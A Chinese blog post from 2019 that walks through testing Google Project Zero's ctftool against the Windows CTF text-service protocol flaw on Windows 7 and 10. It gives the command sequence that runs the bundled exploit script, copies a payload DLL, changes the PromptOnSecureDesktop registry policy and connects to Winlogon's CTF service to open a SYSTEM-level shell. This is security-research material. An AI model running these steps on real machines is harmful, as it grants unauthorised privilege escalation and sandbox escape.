使用CTFTOOL测试CTF协议

0x01 简介
2019年8月13日谷歌披露了影响所有Windows版本的20年未修补漏洞。
 
来自Google的Project Zero团队的Tavis Ormandy 发现,由于此交互没有访问控制或任何类型的身份验证,因此任何应用程序,任何用户甚至沙盒流程都可以实现以下操作:
 
  • 在所有会话中连接到ctfmon ALPC端口,
  • 从任何其他会话中读取和写入任何窗口的文本,
  • 伪造他们的线程ID,进程ID和HWND,
  • 伪装成CTF服务,欺骗其他应用程序,甚至是特权应用程序,连接到它,或者
  • 逃离沙箱并升级特权。
 
如果被利用,CTF协议的弱点可能允许攻击者轻易绕过用户界面权限隔离(UIPI),甚至允许非特权进程进行以下操作:
 
  • 从其他应用程序的任何窗口读取敏感文本,包括对话框外的密码,
  • 获得SYSTEM权限,
  • 控制UAC同意对话,
  • 将命令发送到管理员的控制台会话,或
  • 通过向非沙箱的窗口发送输入来转义IL / AppContainer沙箱。
 
ctftool一个交互式命令行工具,用于试验CTF,这是一种在Windows上用于实现文本服务的鲜为人知的协议。这对于研究Windows内部,调试文本输入处理器的复杂问题及分析Windows安全性很有用。
 
可以编写简单的脚本,ctftool以便自动与CTF客户端或服务器进行交互,或执行简单的模糊测试。
 
ctftool 已经在Windows 7,Windows 8和Windows 10上进行了测试。支持32位和x64版本。
 
0x02 测试
win 7 x64上测试:
直接双击ctftool.exe即可打开CTF命令行
输入help即可查看工具使用帮助,hlep <command>可以查看特定命令的帮助信息。
connect 连接到会话
scan 查看连接的客户端
script .\scripts\ctf-consent-system.ctf 触发漏洞,等待弹出UAC弹窗,复制payload并启动shell。
待命令执行完成,弹出cmd窗口
我们通过查看ctf文件的内容,可以看到具体的实现过程
run XCOPY PAYLOAD64.DLL C:\TEMP\EXPLOIT.DLL* 拷贝payload文件
# 修改策略
reg HKLM PromptOnSecureDesktop Software\Microsoft\Windows\CurrentVersion\Policies\System
Key: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Value: “PromptOnSecureDesktop”
Type: REG_DWORD
Data: 这必须是下表中的值。
含义
00000000
禁用此策略会禁用安全桌面提示。所有凭据或同意提示都将在交互式用户的桌面上进行。
00000001
此策略将强制所有UAC提示在用户的安全桌面上发生。
详情参考微软官方文档:
repeat r0 connect Winlogon sid # 连接到Winlogon desktop的ctf服务。
script scripts\ctf-exploit-common-win10.ctf # 执行利用脚本
 
win10 上测试:
已更新系统和补丁。
connect 连接到会话
scan 查看连接的客户端
ctf> script .\scripts\ctf-consent-system.ctf # 执行利用脚本
win10 不会弹出UAC窗口,会直接打开一个新的cmd窗口。
 
0x03 结论
 
除此之外,CTF协议还包含许多内存损坏漏洞,这些漏洞可以在默认配置中使用。即使没有错误,CTF协议也允许应用程序交换输入并读取彼此的内容。但是,有许多协议错误允许完全控制几乎任何其他应用程序。Ormandy已经在今年5月中旬向微软报告了他的调查结果,目前该问题还尚未解决。
 
参考链接:
posted @ 2019-09-17 18:32  micr067  阅读(211)  评论(0编辑  收藏  举报